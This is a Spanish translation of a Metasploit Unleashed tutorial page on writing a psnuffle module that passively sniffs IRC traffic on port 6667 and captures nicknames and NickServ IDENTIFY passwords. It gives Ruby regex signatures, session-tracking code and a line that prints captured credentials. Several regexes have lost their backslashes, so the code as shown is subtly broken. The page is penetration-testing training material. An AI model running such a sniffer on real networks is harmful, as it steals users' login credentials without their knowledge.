Metasploit Unleashed en Espanol (4.6.1/17)

26.11.09

Como escribir un modulo nuevo de psnuffle

Psnuffle es fácil de extender debido a su diseño modular. Esta sección lo guiara a través del proceso del desarrollo de un sniffer (Notificación y mensajes de Nick) del protocolo IRC (Internet Relay Chat).

Ubicación del módulo

Todos los distintos módulos se encuentran en data/exploit/psnuffle. Los nombres corresponden al nombre del protocolo usado dentro de psnuffle. Para desarrollar nuestro propio modulo, veremos las partes importantes del modulo de un sniffer de pop3 existente y la usaremos como plantilla.

Definiendo patrones:

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }


Esta sección define los patrones de expresiones que se usaran durante el sniffing para identificar datos interesantes.  Las expresiones regulares se verán extrañas al principio pero son muy poderosas. En resumen, todo dentro del () estará disponible mas tarde dentro de una variable en el script.

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}


Para el IRC esta sección lucirá como la de arriba. Si yo se que no todos los nick en los servidores usan IDENTIFY para enviar la contraseña, pero los de freenode lo hacen. Hey esto es un ejemplo :-)

Definicion de sesion:

Para cada modulo, primero tenemos que definir que puertos se deben usar y como sera rastreada la sesión.

return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end


Ahora que tenemos un objeto de sesión que únicamente consolida la información, podemos seguir y procesar el contenido del paquete que coincide con una de las expresiones regulares que hemos definido anteriormente.

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end


Eso es básicamente. Descarga el script completo desde aquí.


© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.